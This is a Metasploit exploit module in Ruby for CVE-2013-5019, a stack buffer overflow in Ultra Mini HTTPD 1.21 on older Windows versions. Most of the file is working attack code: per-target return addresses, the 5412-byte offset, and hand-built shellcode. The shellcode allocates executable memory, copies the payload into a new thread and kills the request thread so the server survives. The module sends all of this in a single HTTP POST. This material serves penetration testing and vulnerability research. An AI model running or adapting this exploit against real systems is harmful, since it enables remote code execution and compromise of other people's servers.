##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  ADDR_VIRTUALALLOC    = 0x0041A140
  ADDR_CREATETHREAD    = 0x0041A240
  ADDR_TERMINATETHREAD = 0x0041A23C

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Ultra Mini HTTPD Stack Buffer Overflow",
      'Description'    => %q{
          This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21,
        allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
        request. This exploit has to deal with the fact that the application's request handler
        thread is terminated after 60 seconds by a "monitor" thread. To do this, it allocates
        some RWX memory, copies the payload to it and creates another thread. When done, it
        terminates the current thread so that it doesn't crash and hence doesn't bring down
        the process with it.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'superkojiman',                         # Discovery, PoC
          'PsychoSpy <neinwechter[at]gmail.com>', # Metasploit
          'OJ Reeves <oj[at]buffered.io>'         # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '95164'],
          ['EDB','26739'],
          ['CVE','2013-5019'],
          ['BID','61130']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
        },
      'DefaultOptions' =>
        {
          'EXITFUNC'   => "thread"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'v1.21 - Windows Server 2000',
            {
              'Offset' => 5412,
              'Ret'    => 0x78010324 # push esp / ret - msvcrt.dll
            }
          ],
          [
            'v1.21 - Windows XP SP0',
            {
              'Offset' => 5412,
              'Ret'    => 0x77C4C685 # push esp / ret - msvcrt.dll
            }
          ],
          [
            'v1.21 - Windows XP SP2/SP3',
            {
              'Offset' => 5412,
              'Ret'    => 0x77c354b4 # push esp / ret - msvcrt.dll
            }
          ],
          [
            'v1.21 - Windows Server 2003 (Enterprise)',
            {
              'Offset' => 5412,
              'Ret'    => 0x77BDD7F5 # push esp / ret - msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-07-10',
      'DefaultTarget'  => 0
    ))
  end

  def mov_eax(addr)
    "\xB8" + [addr].pack("V*")
  end

  def call_addr_eax(addr)
    mov_eax(addr) + "\xff\x10"
  end

  def exploit
    new_thread = ""

    # we use 0 a lot, so set EBX to zero so we always have it handy
    new_thread << "\x31\xdb"                          # xor ebx,ebx

    # store esp in esi, and offset it to point at the rest of the payload
    # as this will be used as the source for copying to the area of memory
    # which will be executed in a separate thread. We fill in the offset
    # at the end as we can calculate it instead of hard-code it
    new_thread << "\x89\xe6"                          # mov esi,esp
    new_thread << "\x83\xc6\x00"                      # add esp,<TODO>
    esi_count_offset = new_thread.length - 1

    # Create a new area of memory with RWX permissions that we can copy
    # the payload to and execute in another thread. This is required
    # because the current thread is killed off after 60 seconds and it
    # takes our payload's execution with it.
    new_thread << "\x6a\x40"                          # push 0x40
    new_thread << "\x68\x00\x30\x00\x00"              # push 0x3000
    new_thread << "\x68\x00\x10\x00\x00"              # push 0x1000
    new_thread << "\x53"                              # push ebx (0)
    new_thread << call_addr_eax(ADDR_VIRTUALALLOC)    # call VirtualAlloc

    # copy the rest of the payload over to the newly allocated area of
    # memory which is executable.
    payload_size = [payload.encoded.length].pack("V*")
    new_thread << "\xb9" + payload_size               # mov ecx,payload_size
    new_thread << "\x89\xc7"                          # mov edi,eax
    new_thread << "\xf2\xa4"                          # rep movsb

    # kick of the payload in a new thread
    new_thread << "\x53"                              # push ebx (0)
    new_thread << "\x53"                              # push ebx (0)
    new_thread << "\x53"                              # push ebx (0)
    new_thread << "\x50"                              # push eax (payload dress)
    new_thread << "\x53"                              # push ebx (0)
    new_thread << "\x53"                              # push ebx (0)
    new_thread << call_addr_eax(ADDR_CREATETHREAD)    # call CreateThread

    # Terminate the current thread so that we don't crash and hence bring
    # the entire application down with us.
    new_thread << "\x53"                              # push ebx (0)
    # set ebx to 0xFFFFFFFE as this is the psuedohandle for the current thread
    new_thread << "\x4b"                              # dec ebx
    new_thread << "\x4b"                              # dec ebx
    new_thread << "\x53"                              # push ebx (0xFFFFFFFE)
    new_thread << call_addr_eax(ADDR_TERMINATETHREAD) # call CreateThread

    # patch the offset of esi back into the payload
    nops = 32
    decode_stub_size = 23
    calculated_offset = new_thread.length + nops + decode_stub_size
    new_thread[esi_count_offset, 1] = [calculated_offset].pack("c*")

    # start constructing our final payload
    buf = rand_text_alpha_upper(target['Offset'])
    buf << [target.ret].pack("V*")

    # ESP points right to the top of our shellcode so we just add a few nops
    # to the start to avoid having the first few bytes nailed by the decoder.
    buf << make_nops(nops)

    # we re-encode, including the thread creation stuff and the chosen payload
    # as we don't currently have the ability to "prepend raw" stuff to the front
    # of the buffer prior to encoding.
    buf << encode_shellcode_stub(new_thread)
    buf << payload.encoded

    print_status("Sending buffer...")
    send_request_cgi({
      'method' => 'POST',
      'uri'    => "/#{buf}"
    })
  end
end

